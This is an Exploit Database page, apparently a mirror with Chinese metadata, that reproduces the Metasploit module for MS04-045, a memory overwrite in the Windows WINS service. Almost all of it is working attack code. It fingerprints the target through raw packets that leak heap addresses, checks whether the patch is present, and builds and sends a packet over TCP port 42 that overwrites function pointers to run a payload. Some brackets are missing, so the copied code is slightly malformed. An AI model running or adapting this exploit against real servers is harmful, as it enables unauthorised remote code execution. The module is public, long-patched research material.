Microsoft WINS – Service Memory Overwrite (MS04-045) (Metasploit)

Exploit Database
109 阅读

作者： Metasploit

日期： 2010-09-20
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16359/

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# $Id: ms04_045_wins.rb 10394 2010-09-20 08:06:27Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'Microsoft WINS Service Memory Overwrite',

'Description'=> %q{

This module exploits an arbitrary memory write flaw in the

WINS service. This exploit has been tested against Windows

2000 only.

'Author' => [ 'hdm' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 10394 $',

'References' =>

[

[ 'CVE', '2004-1080'],

[ 'OSVDB', '12378'],

[ 'BID', '11763'],

[ 'MSB', 'MS04-045'],

'Privileged' => true,

'DefaultOptions'=>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space'=> 8000,

'MinNops'=> 512,

'StackAdjustment' => -3500,

'Targets'=>

[

'Windows 2000 English', # Tested OK - 11/25/2005 hdm

{

'Platform' => 'win',

'Rets' => [ 0x5391f40, 0x53df4c4, 0x53922e0],

'DisclosureDate' => 'Dec 14 2004',

'DefaultTarget' => 0))

register_options(

[

Opt::RPORT(42)

], self.class )

end

def check

ret = fprint()

info = 'This system is running '

info << ((ret[1] == '?') ? 'an unknown windows version ' : "Windows #{ret[1]} ")

info << ((ret[2] == '?') ? '' : "with service pack #{ret[2]} ")

info << (ret[3] ? '(clean heap)' : '(dirty heap)')

print_status(info)

return ret[0]

end

def exploit

ret = fprint()

if (ret[0] != Exploit::CheckCode::Vulnerable)

print_status("This system does not appear to be vulnerable")

return

end

# Windows 2000 SP0, SP2, SP3, SP4 only. SP1 does not have the

# same function pointer...

if (ret[1] != '2000' or ret[2] !~ /^[0234]/)

print_status("This target is not currently supported")

return

end

# This flag is un-set if the first leaked address is not the default of

# 0x05371e90. This can indicate that someone has already tried to exploit

# this system, or something major happened to the heap that will probably

# prevent this exploit from working.

if (not ret[3])

print_status("Warning: the leaked heap address indicates that this attack may fail");

end

# The base address of our structure in memory

base = target['Rets'][0]

# Address of the function pointers to overwrite (courtesy anonymous donor)

targ = target['Rets'][1]

# Address of the payload on the heap, past the structure

code = target['Rets'][2]

# Build up the wins packet

addr = ''

addr << ([code].pack('V') * 9)

addr << ([targ - 0x48].pack('V') * 14)

wins = addr * 10

wins << payload.encoded

wins << rand_text_english(9200-wins.length, payload_badchars)

wpkt = [wins.length + 8, -1, base].pack('NNN')

wpkt << wins

print_status(sprintf("Attempting to overwrite 0x%.8x with 0x%.8x (0x%.8x)", targ, code, base))

# Connect and send the request

connect

sock.put(wpkt)

handler

disconnect

end

# This fingerprinting routine will cause the structure base address to slide down

# 120 bytes. Subsequent fingerprints will not push this down any futher, however

# we need to make sure that fingerprint is always called before exploitation or

# the alignment will be way off.

def fprint

ret = [Exploit::CheckCode::Safe, '', '', '']

req = "\x00\x00\x00\x29\x00\x00\x78\x00\x00\x00\x00\x00"+

"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x02\x00\x05"+

"\x00\x00\x00\x00\x60\x56\x02\x01\x00\x1F\x6E\x03"+

"\x00\x1F\x6E\x03\x08\xFE\x66\x03\x00"

connect

sock.put(req)

data = sock.get_once

return ret if not data

ptrs = [ data[16,4].unpack('N')[0] ].concat( data[32,12].unpack('VVV') )

print_status(sprintf("WINS Fingerprint: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x", *ptrs))

os = '2000'

sp = '?'

vi = false

# Check for Windows 2000 systems

case ptrs[3]

when 0x77f8ae78

sp = '0'

when 0x77f81f70

sp = '1'

when 0x77f82680

sp = '2'

when 0x77f83608

sp = '3'

when 0x77f89640

sp = '4'

when 0x77f82518

sp = '5'

when 0x77f81648 # Contributed by grutz[at]jingojango.net

sp = '3/4'

end

# Reset the OS string if no match was found

os = '?' if sp == '?'

# Check for Windows NT 4.0 systems

if (ptrs[0] > 0x02300000 and ptrs[0] < 0x02400000)

os = 'NT'

sp = '?'

end

# Heap is still pristine...

vi = true if ptrs[0] == 0x05371e90

# Determine if the patch has already been applied

req = "\x00\x00\x00\x0F\x00\x00\x78\x00" + data[16, 4] +

"\x00\x00\x00\x03\x00\x00\x00\x00"

sock.put(req)

data = sock.get_once

disconnect

ret[1] = os

ret[2] = sp

ret[3] = vi

if (data and data[6, 1] == "\x78")

ret[0] = Exploit::CheckCode::Vulnerable

end

return ret

end